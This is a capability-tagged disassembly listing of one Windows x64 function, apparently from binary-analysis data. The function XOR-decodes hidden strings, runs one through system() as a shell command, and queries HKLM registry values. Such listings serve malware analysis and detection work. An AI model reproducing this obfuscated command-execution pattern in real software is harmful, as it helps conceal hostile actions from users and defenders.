Function at 0x140039bc0
Capabilities:
Encode data using xor
Execute command
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rdi, rcx
mov dword [rbp + 0x1b8], 0x100030f
xor r12d, r12d
mov edx, r12d
nop dword [rax]
lea eax, [rdx + 0x46]
xor byte [rbp + rdx + 0x1b8], al
inc rdx
cmp rdx, 2
jb 0x140039bf0
mov byte [rbp + 0x1bb], r12b
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], 0
lea rcx, [rbp + 0x1b8]
call fcn.1400349b0
mov r8, rax
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp - 0x58]
call fcn.140037400
nop
movdqa xmm0, xmmword [0x1400c4d10]
movdqu xmmword [rsp + 0x54], xmm0
mov dword [rsp + 0x64], 0x1002330
mov rcx, r12
nop word [rax + rax]
lea eax, [rcx + 0x46]
xor byte [rsp + rcx + 0x54], al
inc rcx
cmp rcx, 0x12
jb 0x140039c60
mov byte [rsp + 0x67], 0
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
lea rcx, [rsp + 0x54]
call fcn.1400349b0
mov r8, rax
lea rdx, [rsp + 0x54]
lea rcx, [rbp - 0x78]
call fcn.140037400
nop
lea r9, [rbp - 0x58]
lea r8, [rbp - 0x78]
lea rcx, [rbp + 0x50]
call fcn.140037e80
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140039cf5
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039cf0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039cf0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9aa8
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140039d43
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039d3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039d3e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9aa8
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], 0
lea rcx, [0x1400bc867]
call fcn.1400349b0
lea rcx, [rbp + 0x50]
mov rsi, qword [rbp + 0x68]
cmp rsi, 0x10
setae r15b
mov rbx, qword [rbp + 0x50]
cmovae rcx, rbx
mov r8, qword [rbp + 0x60]
cmp r8, rax
jne 0x14003a0e1
lea rdx, [0x1400bc867]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14003a0e1
mov dword [rsp + 0x40], 0x3c267966
mov dword [rsp + 0x44], 0x737e6b26
mov dword [rsp + 0x48], 0x3c3a20
mov byte [rsp + 0x4c], 1
mov rcx, r12
nop dword [rax + rax]
lea eax, [rcx + 0x46]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0xb
jb 0x140039dc0
mov byte [rsp + 0x4c], 0
lea rcx, [rbp - 0x18]
call fcn.140039140
mov r14, rax
movdqa xmm0, xmmword [0x1400c4ad0]
movdqu xmmword [rbp + 8], xmm0
movdqa xmm1, xmmword [0x1400c4ca0]
movdqu xmmword [rbp + 0x18], xmm1
movdqa xmm0, xmmword [str.5_5]
movdqu xmmword [rbp + 0x28], xmm0
movdqa xmm1, xmmword [str.V__YU]
movdqu xmmword [rbp + 0x38], xmm1
mov word [rbp + 0x48], 0xa6
mov byte [rbp + 0x4a], 1
mov rcx, r12
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x46]
xor byte [rbp + rcx + 8], al
inc rcx
cmp rcx, 0x41
jb 0x140039e30
mov byte [rbp + 0x4a], 0
lea rcx, [rbp + 8]
call fcn.1400349b0
mov r9, rax
lea r8, [rbp + 8]
mov rcx, r14
call fcn.14004b2c0
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x40]
call fcn.1400349b0
mov r8, rax
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x38]
call fcn.1400454c0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140039f0d
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039f08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039f08
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9aa8
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x140039f5b
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140039f56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039f56
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9aa8
mov qword [rbp - 8], r12
mov qword [rbp], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x18], 0
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0x10
cmovae rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp + 0x1b8], 0x100030f
mov rcx, r12
nop
lea eax, [rcx + 0x46]
xor byte [rbp + rcx + 0x1b8], al
inc rcx
cmp rcx, 2
jb 0x140039f90
mov byte [rbp + 0x1bb], 0
movdqa xmm0, xmmword [0x1400c4d10]
movdqu xmmword [rsp + 0x54], xmm0
mov dword [rsp + 0x64], 0x1002330
mov rcx, r12
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x46]
xor byte [rsp + rcx + 0x54], al
inc rcx
cmp rcx, 0x12
jb 0x140039fd0
mov byte [rsp + 0x67], 0
mov dword [rbp + 0x1c0], 0x2000
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
mov r9d, 1
lea r8, [rbp + 0x1b8]
lea rdx, [rsp + 0x54]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov qword [rdi], r12
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rcx, [rbp + 0x70]
call fcn.1400349b0
mov r8, rax
lea rdx, [rbp + 0x70]
mov rcx, rdi
call fcn.140037400
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0x10
jb 0x14003a092
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003a08d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003a08d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a9aa8
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x68], 0
test r15b, r15b
je 0x14003a1ec
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14003a1e4
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003a1e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dword [rbp + 0x1c0], 0x100030f
mov rcx, r12
nop
lea eax, [rcx + 0x46]
xor byte [rbp + rcx + 0x1c0], al
inc rcx
cmp rcx, 2
jb 0x14003a0f0
mov byte [rbp + 0x1c3], 0
movdqa xmm0, xmmword [0x1400c4d10]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x1002330
mov rcx, r12
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x46]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x12
jb 0x14003a130
mov byte [rsp + 0x53], 0
mov dword [rbp + 0x1c8], 0x2000
lea rax, [rbp + 0x1c8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
mov r9d, 1
lea r8, [rbp + 0x1c0]
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov qword [rdi], r12
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rcx, [rbp + 0x70]
call fcn.1400349b0
mov r8, rax
lea rdx, [rbp + 0x70]
mov rcx, rdi
call fcn.140037400
nop
test r15b, r15b
je 0x14003a1ec
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14003a1e4
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003a1e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400a9aa8
mov rax, rdi
add rsp, 0x270
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret